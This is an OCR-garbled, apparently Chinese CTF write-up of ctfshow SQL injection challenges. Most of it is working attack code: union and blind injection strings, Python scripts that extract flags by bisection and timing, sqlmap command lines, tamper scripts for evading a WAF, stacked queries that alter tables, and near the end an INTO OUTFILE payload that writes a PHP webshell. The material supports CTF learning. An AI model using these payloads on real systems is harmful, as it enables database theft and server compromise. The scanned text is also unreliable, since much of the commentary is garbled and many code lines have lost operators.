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# @Author:Y4tacker
i B

"-1'union select 1,2,group _concat(table name) from information_schema.tables where table schema=databa

"-1'union select 1,2,group_concat(column_name) from information_schema.columns where table name='ctfshow

"-1"'union select id,username,password from ctfshow_user --+"
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BERNEE R STEHERNNBIE A S Eag, JFHS M T HdEE £ctfshow_user2

# @Author:Y4tacker
/ Hf#EsqUiF A B #675 EIDH -

"select username,password from ctfshow_user2 where username !='flag' and id = '". [*id"]."" 1limit 12;"

MNERE L REFHFIZRAEIES -1' union select 1,2 --+ HEERY, REZBEEFRIIFEENagFER, FZR%miD
RZihex&%, X HE Hbase64ilt

B G RED A Lag
if( username 'flag'){

['msg']="&HI";

-1' union select to_base64(username),hex(password) from ctfshow_user2 --+
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A_E—E R —REHT, ME— X)X E R A = A [ B8 X IR ethex i M, BERE —RZ— &
1' union select id,hex(username),hex(password) from ctfshow_user3--+
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26 666C6167 666C61677B38363565316230382D653165342D346...
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http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v3.php?page=1&1imit=10
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# @Author:Y4tacker

import requests

url "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1"' and "

result
i (2]

while True:
i i 1
head 32
tail 127

while head tail:
mid (head + tail) 1

payload = f'l=if(ascii(substr((select password from ctfshow userd4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)

if "admin" in r.text:
head mid 1
else:
tail mid

if head 32:

result chr(head)
else:

break

print(result)

XREELE T R — T EEE, RIVE E EE
http://7eacl6lc-e@6e-4d48-baa5-flledaee7d38.chall.ctf.show/api/v5.php?id=1"' and if(1=1,sleep(3),1)--
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# @Author:Y4tacker
import requests

url "http://7eacl6lc-e06e-4d48-baa5-flledaee7d38.chall.ctf.show/api/v5.php?id=1"' and "

result
i 0

while True:
i i 1
head 32
tail 127

while head tail:
mid (head + tail) 1

payload = f'l=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0)

try:
r = requests.get(url + payload, timeout=0.5)
tail = mid

except Exception as e:
head = mid 1

if head 32:

result chr(head)
else:

break

print(result)

VR E L REYNEFY IS B

http://7eacl6lc-e06e-4d48-baa5-flledaee7d38.chall.ctf.show/api/v5.php?id=1"' union select 1,password from
ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&1imit=10

ZJEViE http://7eacl61lc-e06e-4d48-baa5-flledaee7d38.chall.ctf.show/1.txt
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# @Author:Y4tacker
import requests

url "http://57496c50-1b0d-40de-ac22-501e93alddbd.chall.ctf.show/select-waf.php'
flagstr r"{flgazwsxedcrvtgbyhnujmikolp-0123456789}"
res "
for i in range(1,46):
for j in flagstr:
data {
"tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}"')"

1
J

r = requests.post(url, data=data)
if r.text.find("$user_count = 1;"
res j

print(res)

break

web184



WM KRZL T, right join EHEEWEIA

# @Author:Y4tacker
import requests

url "http://fl5ac2ca-94b7-4257-a52a-00e52ecee805.chall.ctf.show/select-waf.php"

flag 'flag{"'
for i in range(45):
if i 5:
continue
for j in range(127):
data {

"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j

requests.post(url,data=data)
if r.text.find("$user count = 43;")>0:
if chr(j) o

flag chr(j)

print(flag.lower())

if chr(j) "1
exit(9)

break

web185



BREDE—KE R

true pi()
true+true

floor(pi())

ceil(pi()
floor(version())
ceil(version())
ceil(pi()+pi())
floor(version()+pi())
floor(pi()*pi())
ceil(piQ*pi(Q)
ceil(pi()*pi()) +true
cei(pi()+pi()+version(}))
floor(pi()*pi() +pi())
ceil(pi()*pi()+piQ)
ceil(pi()*pi() +version())
floor(pi()*version())
ceil(pi()*version())
ceil(pi()*version()) +true
floor((pi()+pi0)*pi()
ceil((pi0+pi0)*piQ)
ceil{ceil(pi())*version())
ceil(pi(Q*ceilpi()+pi())
ceil((pi() +ceil (pi()*pi())
ceil(pi())*ceil(version())
floor(pi()*(version() +pi()))
floor(version()*version())
ceil(version()*version())
ceil(piQ*pi0*pi0-pi0)
floor(pi()*pi()*floor(pi()))

RIES U T HT, WUEER BNk true

LA

S oo ~Nowm Wy =

X PR o PO Ry = = = = =
HBENENTEOUNScooNonbhwN=



# @Author:Y4tacker
import requests

url "http://341e93el-ale7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"

flag 'flag{'

def createNum(n):
num "true’
if n 1:
return 'true’
else:
for i in range(n 1):
num "+true"

return num

i in range(45):
if i 5:
continue
for j in range(127):
data {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{crea
teNum(1)})regexp(char({createNum(j)})))"
)i
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;")
if chr(j) R
flag chr(j)

print(flag.lower())

if chr(j) B
exit(9)

break
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# @Author:Y4tacker

import requests

url "http://0ee67cf6-8b94-4384-962b-101fce5a7862.chall.ctf.show/select-waf.php"

flag 'flag{'

def createNum(n):
num "true’
if n 1:
return 'true’
else:
for i in range(n 1):
num "+true"

return num

i in range(45):
if i 5:

continue
for j in range(127):
data {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{crea
teNum(1)})regexp(char({createNum(j)})))"
)i
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;")
if chr(j) R
flag chr(j)
print(flag.lower())
if chr(3j) "}
exit(9)
break

md5($_POST[ 'password'],true); admin ffifdyop
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# Author: Y4tacker
import requests

url "http://3d54cb5b-69e8-4592-85b3-662e3aallea5.chall.ctf.show/api/"

def getFlagIndex():
head 1
tail 300
while head < tail:
mid (head + tail)
data {
'username': "if(locate('flag{'," "load_file('/var/www/html/api/index.php'))>{0},0,1)".format(str(m

'password’: '1°'
)i
r = requests.post(url, data=data)
if "R r.json()['msg']:
head mid 1
else:
tail mid

return mid

def getFlag(num):
i int(num)
result "
while 1:
head 32

tail 127

i=1+1
while head < tail:
mid (head + tail)
data {
'username': "if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(s

‘password': '1°
}
r = requests.post(url, data=data)
if "EADEIR" r.json()['msg']:
head mid 1
else:
tail mid
mid 1
if head 32:
result chr(head)
print(result)
else:
break




if _ name ' _main__ ':
index = getFlagIndex()
getFlag(index)

# @Author:Y4tacker
import requests

url "http://02e6409f-dlac-41e0-8355-c7e0@cb8cald8.chall.ctf.show/api/"

result
i 0

while True:
i i 1
head 32
tail 127

while head tail:
mid (head + tail)
BHEE

payload "select group_concat(table_name) from information_schema.tables where table_schema=database(

BFR

payload "select group_concat(column_name) from information_schema.columns where table_name='ctfshow |

&flag
payload "select group_concat(flag) from ctfshow_flog"
data = {
‘username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)="1",
‘password’': '1°

r = requests.post(url,data=data)
if "EADAER" r.json()['msg']:
head mid 1
else:
tail mid

if head 32:

result chr(head)
else:

break
print(result)




# @Author:Y4tacker
import requests

url "http://7d316f9f-0da8-442d-bf6d-c976a20260e8.chall.ctf.show/api/"

result
i 0

while True:
i i 1
head 32
tail 127

while head tail:
mid (head + tail)
BEHEE

payload "select group_concat(table_name) from information_schema.tables where table_schema=database(

"select group_concat(column_name) from information_schema.columns where table_name='ctfshow |

payload "select group_concat(flag) from ctfshow_flog"

data {
‘username': f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)="1",
‘password': '1°

r = requests.post(url,data=data)
if "R r.json()['msg']:

head mid 1
else:

# print(r.text)

tail mid

last result

if head 32:

result chr(head)
else:

break
print(result)




# @Author:Y4tacker
import requests
import string

"http://2c0073f7-8662-4al12-a742-f17e1818edBa.chall.ctf.show/api/"
" {r-" string.ascii_lowercase string.digits

for i in range(1,45):
for j in flagstr:
payload = f"admin' and if(substr((select group_concat(flag) from ctfshow_f1lOg),{i},1)regexp('{j}"'),1,2)=

data {
'username’: payload,

'password’: '1°'

requests.post(url, data=data)
"R IR r.json()['msg']:
flag Jj
print(flag)
if "} K

exit(9)
break

# @Author:Y4tacker
import requests
import string

url "http://2c0073f7-8662-4al12-a742-f17e1818edBa.chall.ctf.show/api/"
flagstr=" _{}-" string.ascii_lowercase + string.digits
flag v
z ‘flag'
for i in range(1,45):
for j in flagstr:
payload = f"admin' and if((select group_concat(flag) from ctfshow_flog)regexp('{j}'),1,2)="1"
data {
‘username’: payload,
‘password': '1°
b
r = requests.post(url, data=data)
if "EADAER" r.json()['msg']:
flag Jj
print(flag)
if "} R
exit(@)
break

REEE THAMEA, SEIHN




# @Author:Y4tacker
import requests
i Wz B Y Hinstr & #;, LOCATE. POSITION. INSTR. FIND _IN_SET. IN. LIKE
url "http://deed436de-268a-408e-b66a-88b4c972e5f5.chall.ctf.show/api/"
final
stttr "flag{}-_1234567890qwertyuiopsdhjkzxcvbnm"
for i in range(1,45):
for j in stttr:
final Jj
# BEFHL-ctfshow_flxg
# payload = f"admin' and if(locate('{final}', (select table _name from information_schema.tables where tab
Le _schema=database() limit ©,1))=1,1,2)="1"
# BFE-flag
# payload = f"admin' and if(locate('{final}', (select column_name from information_schema.columns where t
able_name="'ctfshow_flxg' Llimit 1,1))=1,1,2)="1"
payload = f"admin' and if(locate('{final}', (select flag from ctfshow flxg limit 0,1))=1,1,2)="1"
data {
'username’: payload,
'password’: '1°'
}
r = requests.post(url,data=data)
if "R r.json()['msg']:
print(final)
else:
final = final[:-1]

import requests
import string

url "http://2c0073f7-8662-4al12-a742-f17e1818edBa.chall.ctf.show/api/"
flagstr=" _{}-" string.ascii_lowercase + string.digits
flag v
z ‘flag'
for i in range(1,45):
for j in flagstr:
payload = f"admin' and if((select group_concat(flag) from ctfshow_flog)regexp('{j}'),1,2)="1"
data {
‘username’: payload,
‘password’: '1°
b
r = requests.post(url, data=data)
if "EADEEIR" r.json()['msg']:
flag Jj
print(flag)
if "} K
exit(@)
break

R R EEETA NEBRSCON1, ZEEFRET

payload="0x61646d696e;update’ ctfshow_user set pass =0x313131;"
# B TRA IR ANERER, BB T EARE F5E 8 5565
sql "select pass from ctfshow _user where username = {$username};";




i, AR
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//Topo: AR TANE, I, A MR I8

if(preg_match(*/ |\*|\x09|\xDa|\x0b|\x0c|\x0d|\xa0|\x00|\#[\x23|\" |\"|=elect |union|or|and|\x26|\xTc|file|into/i’', $username))
$zet['msg'1="HFEIEE";
die(json_encode ($ret));

if(strlen{$username)>16) {

Srec['meg'l=' ﬁa.=-ax\az§§ﬂ1 ATH H:II @Aﬁgi _/I\?—%B%M%

die (json_encode (Sret));

if (Srow[0]==$password) {
Sra:['maq‘]="ﬁ*ﬁﬁ5§1}3 flag is S$flag";
1

Efakth flag is flag{3ab1f7a9-076a-48d1-8cco-1

9e4b2a48841}

BrEth

BrE 1;select(1)

I}

A

WS 5id L 5 R

# @Author:Y4tacker
import requests

url "http://bl26bc7c-2b32-461d-9520-30d5baf7al52.chall.ctf.show/api/"
for i in range(100):
if i 9:
data {

'username': '@;alter table ctfshow_user change column “pass™ “ppp  varchar(255);alter table ctfshow

‘change column “id® “pass’ varchar(255);alter table ctfshow _user change column “ppp" "id

'varchar(255);",
‘password': f'{i}"
b
r = requests.post(url, data=data)
data {
‘username’: 'Ox61646d696e",
‘password': f'{i}"

1
J

r = requests.post(url, data=data)
if "EMREERI" in r.json()['msg']:
print(r.json()['msg'])
break




web190-200

# @Author:Y4tacker

# username=0;show tables;

# pass=ctfshow_user

web201(EE 2 5 — AT A4 K)

] B Ut R B

1 3REUCS ATMyS QLA [ BT A $3i 2
2 ZRHR A B 4

3 IRBUHE T K R

4 KRR T HI514

5.5 H¥E

B R

sqlmap.py -u "http://ea6all@9-3603-47d2-b9ae-73892287235d.chall.ctf.show/api/?id=1"

S 1
vailable databases [5]:
*¥] ctfshow web
information schema

*] performance schema

u "http://ea6alle9-3603-47d2-b9ae-73892287235d.chall.ctf.show/api/?id=1"

tables

ack—end DBMS: MySQGL >= 5.0.12 (MariaDB fork)

i faal: ] fetching tables for database: "ctfshow web’
atabase: ctfshow web
1 tablel

u "http://ea6alle9-3603-47d2-b9ae-73892287235d.chall.ctf.show/api/?id=1"

T "ctfshow_user" columns

referer

referer="ctf.show"

referer

referer="ctf.show" -D "ctfi



lDatabase: ctishow web
Table: ctfshow user
[3 columns]

varchar (255)
varchar (255)

tp://eaball@9-3603-47d2-b9ae-73892287235d.chall.ctf.show/api/?i ! referer="ctf.show" -D "ctfi

T "ctfshow_user" -C "pass" dump

passwordAUTO |
admin |
passwordAUTO |
passwordAUTO |
flag{7d11bff8-6a60-4335-8f76—e4b3dbcbctal I
111

passwordAUTO |
passwordAUTO |
222 |
passwordAUTO |
passwordAUTO i lob.csdn.net/solitudi

web202

@ sqimapSFHR &
@ {EH--data 1§EsqimapAYisk AT

E#%payload 7

E—PH - -datallESH
sqlmap.py -u "http://e34d77f4-a6bf-4c49-915c-a20f188282d8.chall. .show/api/" referer="

iy,

sqlmap.py -u "http://e34d77f4-a6bf-4c49-915c-a20f188282d8.chall. .show/api/" referer="

" --dbs

SE=

sqlmap.py -u "http://e34d77f4-a6bf-4c49-915c-a201188282d8.chall. .show/api/" referer="
D "ctfshow_web" tables

55 005

sqlmap.py -u "http://e34d77f4-a6bf-4c49-915c-a201188282d8.chall. .show/api/" referer

" -D "ctfshow_web" -T "ctfshow_user" columns

EFivZ

sqlmap.py -u "http://e34d77f4-a6bf-4c49-915c-a201188282d8.chall. .show/api/" referer

" -D "ctfshow_web" -T "ctfshow_user" -C "pass" dump




web203

HEE: —FEE E-headers=“Content-Type: text/plain” , &N RIEF AR, putEEIRAZ
@ sqmapEFhR N
@ {EMH--method JEEEsqimaplJiERko T

18 T TR E], # FHRRH —1#Kpayload, 7 LIiENT# A FEHHH S —2F—2HK

sqlmap.py -u "http://0fd2c048-9c6d-4928-baba-7912fatb6410.chall.ctf.show/api/index.php" method=PUT data="id=
1" referer=ctf.show --headers="Content-Type: text/plain" dbms=mysql -D ctfshow _web -T ctfshow_user -C pass

dump

111

222

admin
flag{fc3d62cb—4355-4c12-9431-3fa3b7297f28]
passwordAUTO

passwordAUTO

passwordAUTO

passwordAUTO

passwordAUTO

web204

HE: FEXWSEE T url, 65 cookieIBUEME, E4%FCookie KFABKIEME, F12

@ sqlmapSFiR FE
@ {&=H--cookie 2arcookieZ{{RE

sqlmap.py -u http://76c44e62-350d-42f4-965d-a5249e16fd4d.chall.ctf.show/api/index.php --method=PUT --data="id=1"|

--referer=ctf.show --dbms=mysql dbs=ctfshow _web -T ctfshow_user -C pass --dump --headers="Content-Type: text/p

Lain" --cookie="PHPSESSID=8fplh4ctsl@4cuo508kt6lalbs; "

web205



RRT

@ sqimapSFhi FE
@ apiFFEEEEN

BB AT, FEIRIER url/api/index. php Z BT T E LR URL/api/getTokn.php » KA LA Fburpsuite I 5 & B 32 2 iX
EIE::

sqlmap.php

layui.css

layuijs

Jquery-3.2.1.minJs

selectjs

_ S data.field['id'];
iconfont.woff2?v=256 i .table:
iconfont.woff?v=256

iconfont.ttf?v=256

tablejs

elementjs

form.js N tp .csdn.net/solitudi

FrABRA T BN SH

--safe-url WEENHR B bribhk 577 a2 a8
--safe-freq W BB IKENMR AT 2288 K 3

T4 Hpayload: (if /& 7 82 M EA 118 2 1% lBweb2014 B KB B — 5 — 5 2 h)

sqlmap.py -u http://85fe947b-518c-450c-8335-ac69a6a59b78.chall.ctf.show/api/index.php --method=PUT --data="id=1"

--referer=ctf.show --dbms=mysql dbs=ctfshow web -T ctfshow flax -C flagx --dump --headers="Content-Type: text/|

Lain" --safe-url=http://85fe947b-518c-450c-8335-ac69a6a59b78.chall.ctf.show/api/getToken.php --safe-freq=1

web206

BREX A, WTETEU, sqmapa B CH BT

@ sqimap&EFihR FE
® sqEFAS
EEERET

sqlmap.py -u http://3603329b7-8627-41d9-9e71-45a218a61c49.chall.ctf.show/api/index.php --method=PUT --data="id=1"
--referer=ctf.show --dbms=mysql -D "ctfshow_web" -T "ctfshow_flaxc" -C "flagv" --dump --headers="Content-Type:

text/plain" --safe-url=http://303329b7-8627-41d9-9e71-45a218a61c49.chall.ctf.show/api/getToken.php --safe-freq=

1

web207-208



THEFAT RN E Stampertd AR ! ! !

@ sqimap&Fhi M
@--tamper F9¥{FLG

XEBEAH A8 Sqlmap Tamper /5
BAREXSETRER! | | KxBEEI L, REBHABEXANEHFETER

=t TR OO HA 1 AJIN
.github 2020/11/1511:28 0=
data 2020/11/1511:28  0{43E
doc 20201115 11:28 37{4=E
extra 2020/11/15 1 T4E —

it

lib 202044715 11:28
plugins 2020/11/1511:28  3zf3sE
tamper 2020/11/2312:35 sk
thirdparty 2020/11/1511:28  =rfgsE

=l .gitattributes 2020/11/11 5:36 AR 1 KB

=l .gitignore 2020/11/11 5:36 AR 1 KB

|| .pylintrc 2020/11/11 5:36 PYLINTRC 324 17 KB

[ | travis.yml 2020/11/11 5:36 YML 3245 1 KB

| | COMMITMENT 2020/11/11 5:36 prals 3 KB

| | LICENSE 2020/11/11 5:36 prils 19 KB

" README.md 2020/11/11 5:36 Markdown File 5 KB

|| sglmap.conf 2020/11/11 5:36 CONF 374% 22 KB

A sqlmap.py 2020/11/11 5:36 Python File 22 KB

A sqglmapapi.py 2020/11/11 5:36 Python File 3 KB

X5 fir 44 BE M
e s u Ly Cveuy g ey oy e
A uppercase.py 2020/11/11 5:36 Python File 2 KB
__r" varnish.py 2020/11/11 5:36 Python File 1KB
A versionedkeywords.py 2020/11/11 5:36 Python File 2 KB
A versionedmorekeywords.py 2020/11/11 5:36 Python File 2 KB
__r" web207.py 2020/11/27 15:17  Python File 2 KB
__r" xforwardedfor.py 2020/11/11 5:36 Python File 2 KB
ZJamk

sqlmap.py -u http://fad3bae9-3b33-4198-9526-403c32afc102.chall.ctf.show/api/index.php --method=PUT --data="id=1"
referer=ctf.show --dbms=mysql dbs headers="Content-Type: text/plain" safe-url=http://fad3bae9-3b33-419
8-9526-403c32afcl102.chall.ctf.show/api/getToken.php safe-freq=1 --tamper=web207

sqlmap.py -u "url/api/index.php" method=PUT --data="id=1" referer=ctf.show --headers="Content-Type: text/pla

in safe-url="url/api/getToken.php" safe-freqg=1 dbms=mysql current-db --dump batch prefix=""')" tam

per=space2comment


https://y4er.com/post/sqlmap-tamper/

#!/usr/bin/env python

Author:Y4tacker

from 1lib.core.compat import xrange

from 1lib.core.enums import PRIORITY

priority = PRIORITY.LOW

def tamper(payload, kwargs) :
payload = space2comment(payload)
return payload

space2comment(payload):
retVal payload
if payload:
retVval "
quote, doublequote, firstspace False, False, False

for i in xrange(len(payload)):
if firstspace:
if payload[i].isspace():
firstspace True
retVal chr(0x0a)

continue

elif payload[i] “\TE
quote quote
elif payload[i] -
doublequote doublequote
elif payload[i] R
retval chr(0x0a)
continue

doublequote

retVal payload[i]

return retVal




ZIFRET —A = XBH like Geit

/ /IHMENRIBEUHT 7T
function waf (Sstr) {
//ToDo FEL
return preg_match('/ [\*|\=/", S$atr);

}



#!/usr/bin/env python

Author:Y4tacker

from 1lib.core.compat import xrange

from 1lib.core.enums import PRIORITY

priority = PRIORITY.LOW

def tamper(payload, kwargs) :
payload = space2comment(payload)
return payload

space2comment(payload):
retVal payload
if payload:

retval "

quote, doublequote, firstspace False, False, False

for i in xrange(len(payload)):
if firstspace:
if payload[i].isspace():
firstspace True
retVal chr(0x0a)

continue

elif payload[i] N\ TE
quote quote

elif payload[i] -

doublequote doublequote

elif payload[i] Heate
retVal chr(ox31)
continue
elif payload[i] et
retval chr(0x0a)+'like"'+chr(0x0a)
continue
elif payload[i] A
retval chr(0x0a)
continue

doublequote

retVal payload[i]

return retVal




#!/usr/bin/env python

Author:Y4tacker

from 1lib.core.compat import xrange
from 1lib.core.enums import PRIORITY
import base64

priority = PRIORITY.LOW

def tamper(payload, kwargs) :
payload = space2comment(payload)
retVal
if payload:
retVal base64.b64encode(payload[::-1].encode('utf-8"))
retVal base64.b64encode(retVal[::-1]).decode( 'utf-8")
return retVal

space2comment(payload):
retVal payload
if payload:
retval "
quote, doublequote, firstspace False, False, False

for i in xrange(len(payload)):
if firstspace:
if payload[i].isspace():
firstspace = True
retVal chr(0x0a)

continue

elif payload[i] N
quote quote

elif payload[i] e

doublequote doublequote

elif payload[i] e
retval chr(ox31)
continue

elif payload[i] =t
retval chr(0x0a)+'like"'+chr(0x0a)
continue
elif payload[i] A
retval chr(0x0a)

continue

doublequote

retVal payload[i]

return retVal




Author:Y4tacker

import requests

url "http://d23ee9e9-3e43-4bBa-bl72-547561ea456d.chall.ctf.show/api/"

head 32
tail 127

while head tail:
mid (head + tail)
BEHEE

payload = "select group_concat(table_name) from information_schema.tables where table_schema=database(

BA£F-1d. flag

payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_

B
payload "select flaga from ctfshow_flagx"
data {
'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
'debug':'0@"
}
try:
r requests.post(url, data=data, timeout=1)
tail mid
except Exception as e:
head mid 1

if head 32:

result chr(head)
else:

break

print(result)




Author:Y4tacker

import requests

url "http://4ba8a766-0fda-4c66-bdbc-0e3f0a9d57dc.chall.ctf.show/api/"

head 32
tail 127

while head tail:
mid (head + tail)
BEHEE

payload = "select group_concat(table_name) from information_schema.tables where table_schema=database(

BIEF-1d. flag

payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_

B
payload "select flagaa from ctfshow_flagxc"
data {
'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1) and '1'="1",
‘debug':'0@"
}
try:
r requests.post(url, data=data, timeout=1)
tail mid
except Exception as e:
head mid 1

if head 32:

result chr(head)
else:

break

print(result)




Author:Y4tacker

import requests

url "http://0f3060ee-be00-4090-a8e7-fc0944779c24.chall.ctf.show/api/"

head 32
tail 127

while head tail:
mid (head + tail)
BEHEE

payload = "select group_concat(table_name) from information_schema.tables where table_schema=database(

BI£F-1d. flag
payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_

BEH
payload "select flagaac from ctfshow_flagxcc"
data {
"ip': f"'MQ==") or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
‘debug':'0@"
)i
try:
r requests.post(url, data=data, timeout=1)
tail mid
except Exception as e:
head mid 1

if head 32:

result chr(head)
else:

break
print(result)




Author:Y4tacker

import requests
import time
url "http://1ac9d5a7-5322-4620-80bc-152bec640e26.chall.ctf.show/sapi/"

head 32
tail 127

while head tail:
mid (head + tail)
BEHEE

payload = "select group_concat(table_name) from information_schema.tables where table_schema=database(

BINEF

payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxccb"' Limi

BRI - - - T EE— KB T2 B 1 7
payload "select flagaabc from ctfshow_flagxccb"
#flag{7e7c6a3e-a0f8-41cd-b197-1cd-b197-b50f9b3012ab}

data {
"ip': f"1) or if(ascii(substr(({payload}),{i},1))>{mid},benchmark(3480500,sha(1)),1",
‘debug':'0@"
}
try:
r = requests.post(url, data=data, timeout=1)
# time.sleep(©.3)
tail mid
except Exception as e:
head mid 1

if head 32:

result chr(head)
else:

break
print(result)

REGKFPE, BRIELFHTTR




Author:Y4tacker
import requests
url "http://13565a40-808d-44fc-8c3f-4823a3ac8779.chall.ctf.show/api/"

"1234567890{ } -qazwsxedcrfvtgbyhnujmikolp"
"select table name from information_schema.tables where table schema=database() limit ©,1"
"select column_name from information_schema.columns where table name='ctfshow_flagxc' limit 1,1"

"select flagaac from ctfshow_flagxc"

for i in strr:
data {
"ip': f"1) or if(substr((select right(flagaac,10) from ctfshow_flagxc),{j},1)="{i}"', (SELECT count(*)
FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_sc
hema.schemata D,information_schema.schemata E),1",
'debug': '1'
}
# print(i)
try:
r = requests.post(url, data=data, timeout=0.7)
except Exception as e:
res i
print(res)
j+=1

# flag{c33829azwa2e7-4f11-bf80-58a77877718¢}
# flag{c33829a7-a2e7-4f11-bf80-589 77877718e}
# flag{c33829a7-a2e7-4f11-bf80-58977837718¢}
# flag{c33829a7-a2e7-4f11-bf80-58a77877718¢}

# 58a77897718e}



Author:Y4tacker

import requests
url "http://b9430398-f3af-46cc-a239-fell1a9220619.chall.ctf.show/api/"

" 1234567890{ }-qazwsxedcrfvtgbyhnujmikolp"
# payload = "select table _name from information_schema.tables where table schema=database() Limit ©,1"

# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxca' Limit 1,1"

payload "select flagaabc from ctfshow_flagxca"

for i in strr:

data {
"ip': f"1) or if(substr(({payload}),{j},1)="{i}"', (SELECT count(*) FROM information_schema.tables A,

information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.
schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
'debug': '1°'
)i
# print(1i)
try:
P requests.post(url, data=data, timeout=3)
except Exception as e:
res i
print(res)
j+=1

# data =
i3 "ip': £"1) or if(1=1, (SELECT count(*) FROM information_schema.tables A, information_schema.schemat

a B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F, information_sch

ema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
'debug': '1'

requests.post(url, data=data, timeout=3)




Author:Y4tacker

import requests
url "http://36c60781-7dad-45f9-b863-59f914dffa84.chall.ctf.show/api/"

" 1234567890{ }-qazwsxedcrfvtgbyhnujmikolp"
"select table name from information_schema.tables where table schema=database() Limit ©,1"

"select column_name from information_schema.columns where table_name='ctfshow_flagxcac' Limit 1,1"

"select flagaabcc from ctfshow_flagxcac"

for i in strr:
res i

data {
"ip': £"1) or if(left(({payload}),{j})="{res}',(SELECT count(*) FROM information_schema.tables A, in

formation_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.sc
hemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
'debug': '1°'
)i
# print(1i)
try:
r requests.post(url, data=data, timeout=3)
res res[:-1]
except Exception as e:
print(res)
j+=1

% SR MySQLF Hprocedure analyse() B # i b & 4544
limit /5 T B 28 1t A XA T P

# http://196cf3fd-f920-4018-a714-662ad61571e9.chall.ctf.show/api/?page=1&Limit=1 procedure analyse(extractvalue(
rand( ), concat(0x3a,database())),2)

# https://www.jb51.net/article/99980.htm




Author:Y4tacker

import requests

url "http://6119f221-08cd-4363-88d4-1809bd590024.chall.ctf.show/api/"

head 32
tail 127

while head tail:
mid (head + tail)
BEHEE

payload = "select group_concat(table_name) from information_schema.tables where table_schema=database(

BAEF
payload = "select column_name from information_schema.columns where table_name='ctfshow_flaga' Limit 1

B - - - T EE— KRB TR J A 1
payload "select flagaabc from ctfshow_flaga"
# flag{b747hfb7-P8e8-

params = {
'u': f"concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(©.05), 2)), 1);"

}
try:

r requests.get(url, params=params, timeout=1)
tail mid

except Exception as e:
head mid 1

if head 32:

result chr(head)
else:

break
print(result)




PAN R group by EEEN: CTF-sql-group byfR48TEN
BHAX, BATHBEERR, FHIERSHRE B KA RS REAN

{"code™0,"msg":"\u67e5\u8be2\u6210\u529f","count™1,"data":[{"id":"1","username™":"ctfshow","pass":"ctfshow"},{"id":"2","username":"user1","pass":"111"},
{"id":"3","username":"user2","pass":"222"},{"id":"4","username":"userAUTO","pass":"password AUTO "]}

Elements Console Sources Network HackBar Performance Memory Application Security Lighthouse EditThisCookie
Encryption + Encoding ~ SQL~ XSS~ Other~ Con
@ Load URL http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf. show/api/?u=if('a'='a’,username,'a')

|
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow", "pass":"ctfshow"}]}

Elements Console s Network HackBar Performance Memory Application Security Lighthouse

Encryption ~ Encoding~ SQL~ XSS~ Other ~

@ Load URL http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf.show/api/?u=if('a'='b',username,'a’)

o™

A


https://www.cnblogs.com/02SWD/p/CTF-sql-group_by.html

Author:Y4tacker

import requests

def generateNum(num):
res "true’
if num 1:
return res
else:
for i in range(num 1):
res "+true"

return res

while head < tail:
mid (head + tail) 1
# BHIEE-ctfshow_flagas
# payload = "select group _concat(table _name) from information_schema.tables where table_ schema=database(

# BEFE-flagasabc

# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow |
Lagas "

# Bflag

payload "select flagasabc from ctfshow_flagas"

SETRETIS {

u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username, "’

)i
r = requests.get(url, params=params)
# print(r.json()[ 'data’])
if "userAUTO" in r.text:
head mid 1
else:
tail mid
if head 32:
res chr(head)
else:
break
print(res)

RIERR LR, REPMBTME] TH robots. txt




A = | 08272d0b-fd32-4849-bbb6-3b09bacdacf4.chall.ctf.show,

EERTRES

admin

admin

HETWEESR, RATELEXF, Lk EERHRAMTET

C A &% | 08272d0b-fd32-4849-bbb6-3b09bacdacf4.chall.ctf.show,

Filename: | &5 | SRR aEndit

Submit

XMEZVEN, TEBEEM payload.bin, T NFHIKEBR 2= % GET[1]? > csdnBHTERAE MRS, KRFMEXRE
IR

AN
= O p

= | payload.bin - Si%

m BB
=0 g A a - &
{m T A 5 T P
== ab s
. e B BEA .

A-Q- &
B I Uae XX A2 B oamE e o on
=k me A P

wz-|-1-|-g-l‘1-.|-2-w.-3-|-.4w-5.-|-5-.|-?-I.‘B-I-‘g-w-1o‘-|-11“| 12011300 1410150 116 1

C64File 7’ ) :select 0x3c3f3d60245f4745545h315d603f3e into outfile
' /var/www/html/1. php’ ;—+ ibsHdARe?y L | (9100
% rmfRlEvOE 238 mviAIESERED OvERQ I ACo 2 “o & W59 Tnl9E M lRHOIF

B BATE AT Lk T rce T



